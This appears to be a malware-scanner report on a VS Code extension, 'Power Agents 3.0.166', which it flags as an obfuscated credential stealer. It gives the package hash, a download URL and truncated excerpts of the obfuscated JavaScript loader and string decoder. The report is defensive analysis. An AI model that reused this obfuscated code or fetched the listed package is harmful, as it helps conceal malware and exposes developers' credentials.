Hostile ^92% vscode 10,205 installs Download

Power Agents 3.0.166

obfuscated credential stealer

“Power Agents — multi-host local orchestration (Claude, Grok, Codex, Kimi). Multi-account & rate-limit relief, auto-resume, session recovery…”

Obfuscated stealer toolkit (host-fingerprint + base64)Encrypted strings drive computed script calls

SHA-256b34b5067a8b2f28ae60faa5de122333c250837bc49ffff2e42fa2487a36c1ec4

URLhttps://open-vsx.org/api/neural-llm/power-claude/3.0.166/file/neural-llm.power-claude-3.0.166.vsix

MaleculeK₅(AmLi₁₃LuMc₂Te₄)O₁₄(S₁₁As₁₈Al₃C₁₆Ca₁₀Co₅Dy₆Er₄Eu₂I₉LaP₇PrXe₉)H₁₀(BrCm₅₆Cr₁₀Db₅₂F₄₃Hf₃Os₃₇Po₄₄Ti₃U₁₅)Md₁₀(Bi₄Bk₅He₂InPa₁₈Pm₂PtSi₂)

Evidence

Mangled array self-rotates via bracket access power-claude-proxy.js · lines 1–2

1#!/usr/bin/env node
2'use strict';const _0x26616c=_0x4708;(function(_0x41fec4,_0x7e86ec){const _0x2e351=_0x4708,_0x2793cf=_0x41fec4();while(!![]){try{const _0x133399=parseInt(_0x2e351(0x22b,'IO9*'))/0x1*(-parseInt(_0x2e351(0x2db6,'ZCHV'))/0x2)+-parseInt(_0x2e351(0x3747,'F2^)'))/0x3*(parseInt(_0x2e351(0x291d,'m2ht'))/0x4)+parseInt(_0x2e351(0x1af2,'mxuX'))/0x5*(parseInt(_0x2e351(0xb4c,'PEpd'))/0x6)+-parseInt(_0x2e351(0x28ba,'FA0f'))/0x7+parseInt(_0x2e351(0x29d8,'IO9*'))/0x8*(parseInt(_0x2e351(0x2f53,'28Hx'))/0x9)+parseInt(_0x2e351(0x1976,'IO9*'))/0xa*(parseInt(_0x2e351(0x417d,'NVWH'))/0xb)+parseInt(_0x2e351(0x1e8e,'m2ht'))/0xc;if(_0x133399===_0x7e86ec)break;else _0x2793cf['push'](_0x2793cf['shift']());}catch(_0x536580){_0x2793cf['push'](_0x2793cf['shift']());}}}(_0x3c75,0xeebd7));var Ch=Object[_0x26616c(0xdac,'^lwn')],gr=Object[_0x26616c(0x624,'5LKQ')],Lh=Object[_0x26616c(0x235e,'IPbY')],Dh=Object …

Calls computed member from function result power-claude-proxy.js · line 2

2:2474… !0x0}),_0x3c65fb);function P(){const _0x186420=_0x26616c;return process['env'][_0x186420(0x2068,'3W4U')]?process[_0x186420(0x136,'bdmZ')][_0x186420(0x2068,'3W4U')]:h[_0x186420(0x3de0,'JHof')](H[_0x186420(0x28af,'S@1Q')](),'.power-claude');}function _s(){const _0xd87a34=_0x26616c;let _0x275656=[];return process[_0xd87a34(0xfb6,'F2^)')][_0xd87a34(0x2ab5,'nFvb')]&&_0x275656['push'](process[_0xd87a34(0x28f1,'NVWH')][_0xd87a34(0x4117,'7LE&')]),_0x275656['push'](h[_0xd87a34(0x24a3,'[sMz')](H[_0xd87a34(0x3b11,'PEpd')](),'.power-claude')),_0x275656[_0xd87a34(0x1337,'IO9*')](h['join'](H[_0xd87a34(0x2780,'5LKQ')](),'.power-claude-development')),Array[_0xd87a34(0x16a4,'F2^)')](new Set(_0x275656));}function Ps(){const _0x505e85=_0x26616c,_0x2339e7={'fnLgh':function(_0x3591d4){return _0x3591d4();},'QvAob' …

Repeated hex arithmetic over numeric constants power-claude-proxy.js · line 2

2:24630… 69[_0x47d349(0x17e6,'EjWb')](_0x44aa79=>'-\x20'+_0x44aa79)[_0x47d349(0xa17,'HuMB')]('\x0a'):'—';}if(Array[_0x47d349(0x18e4,'28Hx')](_0x15ee1b))return _0x15ee1b[_0x47d349(0x2c06,'HuMB')](_0x373403=>fn(_0x373403,_0x29fec7+0x1,_0x29e339));let _0x5eaeb6={};for(let _0x318988 of Object[_0x47d349(0xca,'7Eup')](_0x48e236)){if(Gh[_0x47d349(0x1b6,'GUTF')](_0 …

JavaScript embeds a lower-first Base64 alphabet power-claude-stop-classifier.js · lines 1–2

1#!/usr/bin/env node
2'use strict';function _0x2bc7(_0x21fae4,_0x2f3041){_0x21fae4=_0x21fae4-0xe4;const _0x97339d=_0x9733();let _0x2bc7d3=_0x97339d[_0x21fae4];if(_0x2bc7['qFkBvU']===undefined){var _0x5cf043=function(_0x5e5e36){const _0x1b9f31='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x10c31a='',_0x59546e='';for(let _0x2f3868=0x0,_0x4e2a94,_0xb504e,_0xe28b97=0x0;_0xb504e=_0x5e5e36['charAt'](_0xe28b97++);~_0xb504e&&(_0x4e2a94=_0x2f3868%0x4?_0x4e2a94*0x40+_0xb504e:_0xb504e,_0x2f3868++%0x4)?_0x10c31a+=String['fromCharCode'](0xff&_0x4e2a94>>(-0x2*_0x2f3868&0x6)):0x0){_0xb504e=_0x1b9f31['indexOf'](_0xb504e);}for(let _0x3ae5e3=0x0,_0x112dec=_0x10c31a['length'];_0x3ae5e3<_0x112dec;_0x3ae5e3++){_0x59546e+='%'+('00'+_0x10c31a['charCodeAt'](_0x3ae5e3)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x59546e);};const _0x15d850=function(_0x56d740,_0xd76c09){let _0x198f78=[],_0x4a0671=0x0,_0x1f8493,_0x42281b='';_0x56d740=_0x5cf043(_0x56d740);let _0x3f9820;for(_0x3f9820=0x0;_0x3f9820<0x100;_0x3f9820++){_0x198f78[_0x3f9820]=_0x3f9820;}for(_0x3f9820=0x0;_0x3f9820<0x100;_0x3f9820++){_0x4a0671=(_0x4a0671+_0x198f78[_0x3f9820]+_0xd76c09['charCodeAt'](_0x3f9820%_0xd76c09['length']))%0x100,_0x1f8493=_0x198f78[_0x3f9820],_0x198f78[_0x3f9820]=_0x198f78[_0x4a0671],_0x198f78[_0x4a0671]=_0x1f8493;}_0x3f9820=0x0,_0x4a0671=0x0;for(let _0x1b7809=0x0;_0x1b7809<_0x56d740['length'];_0x1b7809++){_0x3f9820=(_0x3f9820+0x1)%0x100,_ …

Mangled parseInt checksum drives rotation loop power-claude-stop-classifier.js · line 2

2:1564… 0x198f78[_0x4a0671]=_0x1f8493,_0x42281b+=String['fromCharCode'](_0x56d740['charCodeAt'](_0x1b7809)^_0x198f78[(_0x198f78[_0x3f9820]+_0x198f78[_0x4a0671])%0x100]);}return _0x42281b;};_0x2bc7['sgDTzi']=_0x15d850,_0x2bc7['zSPUnX']={},_0x2bc7['qFkBvU']=!![];}const _0xa27bc5=_0x97339d[0x0],_0x20cb07=_0x21fae4+_0xa27bc5,_0x800479=_0x2bc7['zSPUnX'][_0x20cb07];return!_0x800479?(_0x2bc7['BbYugV']===undefined&&(_0x2bc7['BbYugV']=!![]),_0x2bc7d3=_0x2bc7['sgDTzi'](_0x2bc7d3,_0x2f3041),_0x2bc7['zSPUnX'][_0x20cb07]=_0x2bc7d3):_0x2bc7d3=_0x800479,_0x2bc7d3;}const _0x21cb8d=_0x2bc7;(function(_0x581a21,_0x174516){const _0x288639=_0x2bc7,_0x553a41=_0x581a21();while(!![]){try{const _0x40422f=parseInt(_0x288639(0x2d5,'O$@I'))/0x1*(parseInt(_0x288639(0x3b3,'0)jG'))/0x2)+-parseInt(_0x288639(0x319,'@WcX'))/0x3*(parseInt(_0x288639(0x3d6,'S!X^'))/0x4)+-parseInt(_0x288639(0x171,'S!X^'))/0x5*(par …

Showing the top 5 files — 2 more files (34 regions) not shown.

No evidence locations were recorded for this file. Raw result